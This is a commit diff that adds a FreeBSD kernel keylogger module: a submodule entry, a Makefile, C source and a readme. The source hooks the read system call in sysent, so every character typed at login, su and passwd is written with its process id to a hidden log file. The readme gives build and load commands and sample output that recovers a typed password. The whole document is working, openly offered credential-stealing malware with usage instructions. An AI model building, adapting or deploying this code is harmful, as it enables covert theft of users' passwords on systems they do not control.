added keylogger
This commit is contained in:
3
.gitmodules
vendored
3
.gitmodules
vendored
@@ -4,3 +4,6 @@
|
|||||||
[submodule "rainroot"]
|
[submodule "rainroot"]
|
||||||
path = rainroot
|
path = rainroot
|
||||||
url = https://github.com/FreeBSD/rainroot
|
url = https://github.com/FreeBSD/rainroot
|
||||||
|
[submodule "keylog"]
|
||||||
|
path = keylog
|
||||||
|
url = https://github.com/your-favorite-hacker/FreeBSD/keylog
|
||||||
|
|||||||
4
keylog/Makefile
Normal file
4
keylog/Makefile
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
SRCS=vnode_if.h keylog.c
|
||||||
|
KMOD=keylog
|
||||||
|
|
||||||
|
.include <bsd.kmod.mk>
|
||||||
149
keylog/keylog.c
Normal file
149
keylog/keylog.c
Normal file
@@ -0,0 +1,149 @@
|
|||||||
|
/* simple read_hook sniffer for freebsd, collects passwords from:
|
||||||
|
login / su / passwd
|
||||||
|
|
||||||
|
ported to FreeBSD 9.3
|
||||||
|
|
||||||
|
Warning. While unloading the system is crashing *sometimes*, better do not unload ;)
|
||||||
|
by dash
|
||||||
|
|
||||||
|
*/
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/sysent.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/syscallsubr.h>
|
||||||
|
#include <sys/limits.h>
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/module.h>
|
||||||
|
#include <sys/kernel.h>
|
||||||
|
#include <sys/systm.h>
|
||||||
|
#include <sys/pcpu.h>
|
||||||
|
#include <sys/proc.h>
|
||||||
|
#include <sys/syscallsubr.h>
|
||||||
|
#include <sys/fcntl.h>
|
||||||
|
#include <sys/file.h>
|
||||||
|
#include <sys/sysproto.h>
|
||||||
|
|
||||||
|
// you might want to change this one
|
||||||
|
#define LOGPATH "/.keylog.txt"
|
||||||
|
|
||||||
|
static int keylog_write(struct thread *td, int fd, char *line, u_int len)
|
||||||
|
{
|
||||||
|
struct uio auio;
|
||||||
|
struct iovec aiov;
|
||||||
|
int err;
|
||||||
|
|
||||||
|
bzero(&aiov, sizeof(aiov));
|
||||||
|
bzero(&auio, sizeof(auio));
|
||||||
|
|
||||||
|
aiov.iov_base = line;
|
||||||
|
aiov.iov_len = len;
|
||||||
|
|
||||||
|
auio.uio_iov = &aiov;
|
||||||
|
auio.uio_offset = 0;
|
||||||
|
auio.uio_segflg = UIO_SYSSPACE;
|
||||||
|
auio.uio_rw = UIO_WRITE;
|
||||||
|
auio.uio_iovcnt = 1;
|
||||||
|
auio.uio_resid = len;
|
||||||
|
|
||||||
|
auio.uio_td = td;
|
||||||
|
|
||||||
|
printf(aiov.iov_base);
|
||||||
|
err = kern_writev(td, fd, &auio);
|
||||||
|
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static int keylog_close(struct thread *td, int fd)
|
||||||
|
{
|
||||||
|
if(fd)
|
||||||
|
{
|
||||||
|
struct close_args fdtmp;
|
||||||
|
fdtmp.fd = fd;
|
||||||
|
return kern_close(td, fdtmp.fd);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int keylog_open(struct thread *td, int *fd, char *path)
|
||||||
|
{
|
||||||
|
int error;
|
||||||
|
error = kern_open(td, path, UIO_SYSSPACE, O_WRONLY | O_CREAT | O_APPEND, 0644);
|
||||||
|
if (!error)
|
||||||
|
{
|
||||||
|
*fd = td->td_retval[0];
|
||||||
|
}
|
||||||
|
return error;
|
||||||
|
}
|
||||||
|
|
||||||
|
// read_hook for collecting the passwords
|
||||||
|
static int read_hook(struct thread *td, void *syscall_args)
|
||||||
|
{
|
||||||
|
struct read_args {
|
||||||
|
int fd;
|
||||||
|
void *buf;
|
||||||
|
size_t nbyte; } *uap;
|
||||||
|
|
||||||
|
uap = (struct read_args *)syscall_args;
|
||||||
|
|
||||||
|
int error;
|
||||||
|
char buf[1];
|
||||||
|
int done;
|
||||||
|
char string[64];
|
||||||
|
int fd = -1;
|
||||||
|
|
||||||
|
copyinstr(uap->buf,buf,1,&done);
|
||||||
|
error = sys_read(td, syscall_args);
|
||||||
|
|
||||||
|
if (error || (!uap->nbyte) || (uap->nbyte >1) || (uap-> fd != 0))
|
||||||
|
return(error);
|
||||||
|
|
||||||
|
copyinstr(uap->buf,buf,1,&done);
|
||||||
|
|
||||||
|
// open up file
|
||||||
|
keylog_open(curthread, &fd, LOGPATH);
|
||||||
|
|
||||||
|
// prepare string, processid, character and character decimal value
|
||||||
|
sprintf(string, "[%d]:%c(%d)\n", td->td_proc->p_pid, buf[0],buf[0]);
|
||||||
|
|
||||||
|
// write data to filedescriptor
|
||||||
|
keylog_write(curthread, fd, string, strlen(string));
|
||||||
|
|
||||||
|
// close file
|
||||||
|
keylog_close(curthread, fd);
|
||||||
|
|
||||||
|
return(error);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int load_handler(module_t mod, int what, void *arg)
|
||||||
|
{
|
||||||
|
int err = 0;
|
||||||
|
|
||||||
|
switch(what)
|
||||||
|
{
|
||||||
|
case MOD_LOAD:
|
||||||
|
sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case MOD_UNLOAD:
|
||||||
|
sysent[SYS_read].sy_call = (sy_call_t *)sys_read;
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
err = EINVAL;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return(err);
|
||||||
|
}
|
||||||
|
|
||||||
|
// a struct that holds basic data on the module
|
||||||
|
static moduledata_t keylog_mod =
|
||||||
|
{
|
||||||
|
"schlussel",
|
||||||
|
load_handler,
|
||||||
|
NULL
|
||||||
|
};
|
||||||
|
|
||||||
|
DECLARE_MODULE(schlussel, keylog_mod, SI_SUB_KLD, SI_ORDER_ANY);
|
||||||
48
keylog/readme.txt
Normal file
48
keylog/readme.txt
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
keylog readme
|
||||||
|
=============
|
||||||
|
|
||||||
|
this module reads passwords entered via:
|
||||||
|
- login
|
||||||
|
- su
|
||||||
|
- passwd
|
||||||
|
|
||||||
|
and all other services using read() syscall.
|
||||||
|
tested on FreeBSD 9.3, should also run on 10.1 and others.
|
||||||
|
|
||||||
|
usage
|
||||||
|
=====
|
||||||
|
FreeBSD fbsd_default 9.3-RELEASE FreeBSD 9.3-RELEASE #0 r268512: Fri Jul 11 03:13:02 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC i386
|
||||||
|
|
||||||
|
# make
|
||||||
|
# kldload ./keylog.ko
|
||||||
|
# kldstat
|
||||||
|
Id Refs Address Size Name
|
||||||
|
1 3 0xc0400000 1289f7c kernel
|
||||||
|
2 1 0xc49ad000 2000 keylog.ko
|
||||||
|
|
||||||
|
|
||||||
|
# ls -al /.keylog.txt
|
||||||
|
-rw-r--r-- 1 root wheel 809 Jun 2 22:59 /.keylog.txt
|
||||||
|
|
||||||
|
(10)
|
||||||
|
[1915]:p(112)
|
||||||
|
[1915]:a(97)
|
||||||
|
[1915]:s(115)
|
||||||
|
[1915]:s(115)
|
||||||
|
[1915]:w(119)
|
||||||
|
[1915]:o(111)
|
||||||
|
[1915]:r(114)
|
||||||
|
[1915]:d(100)
|
||||||
|
[1915]:
|
||||||
|
(10)
|
||||||
|
|
||||||
|
The logfile is organized as follows: [pid]:character(character as decimal value). In this case you can see
|
||||||
|
that the entered password, called due the login binary with process id 1915 is: 'password'.
|
||||||
|
|
||||||
|
If you want to change the path, go into the sourcecode and look for the variable LOGPATH.
|
||||||
|
|
||||||
|
Warning. Unloading the module seams to leave the kernel in a unstable state, so do not unload it ;)
|
||||||
|
|
||||||
|
Author
|
||||||
|
------
|
||||||
|
dash
|
||||||
Reference in New Issue
Block a user